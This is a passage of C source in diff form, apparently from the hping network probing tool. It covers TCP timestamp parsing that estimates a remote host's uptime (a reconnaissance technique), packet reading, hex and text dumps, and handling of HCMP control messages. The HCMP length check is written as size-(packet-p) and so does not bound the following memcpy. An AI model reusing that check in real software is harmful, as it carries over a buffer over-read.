opt+6, 4); + tstamp = ntohl(tstamp); + echo = ntohl(echo); + goto found; + } + } +found: + printf(" TCP timestamp: tcpts=%u\n", tstamp); + if (last_tstamp && !opt_waitinusec) { + int tsdiff = (tstamp - last_tstamp) / sending_wait; + int hz_set[] = { 2, 10, 100, 1000, 0 }; + int hzdiff = -1; + int hz = 0, sec; + int days, hours, minutes; + if (tsdiff > 0) { + int i = 0; + while(hz_set[i]) { + if (hzdiff == -1) { + hzdiff = ABS(tsdiff-hz_set[i]); + hz = hz_set[i]; + } else if (hzdiff > ABS(tsdiff-hz_set[i])) { + hzdiff = ABS(tsdiff-hz_set[i]); + hz = hz_set[i]; + } + i++; + } + printf(" HZ seems hz=%d\n", hz); + sec = tstamp/hz; /* Get the uptime in seconds */ + days = sec / (3600*24); + sec %= 3600*24; + hours = sec / 3600; + sec %= 3600; + minutes = sec / 60; + sec %= 60; + printf(" System uptime seems: %d days, %d hours, " + "%d minutes, %d seconds\n", + days, hours, minutes, sec); + } + } + printf("\n"); + last_tstamp = tstamp; +} + +/* This function is exported to listen.c also */ +int read_packet(void *packet, int size) +{ +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) + size = pcap_recv(packet, size); + if (size == -1) + perror("[wait_packet] pcap_recv()"); +#else + size = recv(sockpacket, packet, size, 0); + if (size == -1) { + if (errno != EINTR) + perror("[wait_packet] recv"); + else + return 0; + } +#endif + return size; +} + +void hex_dump(void *packet, int size) +{ + unsigned char *byte = packet; + int count = 0; + + printf("\t\t"); + for (; byte < (unsigned char*) (packet+size); byte++) { + count++; + printf("%02x", *byte); + if (count % 2 == 0) printf(" "); + if (count % 16 == 0) printf("\n\t\t"); + } + printf("\n\n"); +} + +void human_dump(void *packet, int size) +{ + unsigned char *byte = packet; + int count = 0; + + printf("\t\t"); + for (; byte < (unsigned char*) (packet+size); byte++) { + count ++; + if (isprint(*byte)) + printf("%c", *byte); + else + printf("."); + if (count % 32 == 0) printf("\n\t\t"); + } + printf("\n\n"); +} + +void handle_hcmp(char *packet, int size) +{ + char *p; + struct hcmphdr hcmph; + unsigned int seq; + + /* Search for the reverse signature inside the packet */ + if ((p = memstr(packet, rsign, size)) == NULL) + return; + + if (opt_debug) + fprintf(stderr, "DEBUG: HCMP received\n"); + + p+=strlen(rsign); + if ((size-(packet-p)) < sizeof(struct hcmphdr)) { + if (opt_verbose || opt_debug) + fprintf(stderr, "bad HCMP len received\n"); + return; + } + + memcpy(&hcmph, p, sizeof(hcmph)); + + switch(hcmph.type) { + case HCMP_RESTART: + seq = ntohs(hcmph.typedep.seqnum); + src_id = seq; /* set the id */ + datafiller(NULL, seq); /* data seek */ + if (opt_debug) + printf("DEBUG: HCMP restart from %d\n", + seq); + return; + case HCMP_SOURCE_QUENCH: + case HCMP_SOURCE_STIRUP: + printf("HCMP source quench/stirup received\n"); + return; + default: + if (opt_verbose || opt_debug) + fprintf(stderr, "bad HCMP type received\n"); + return; + } +}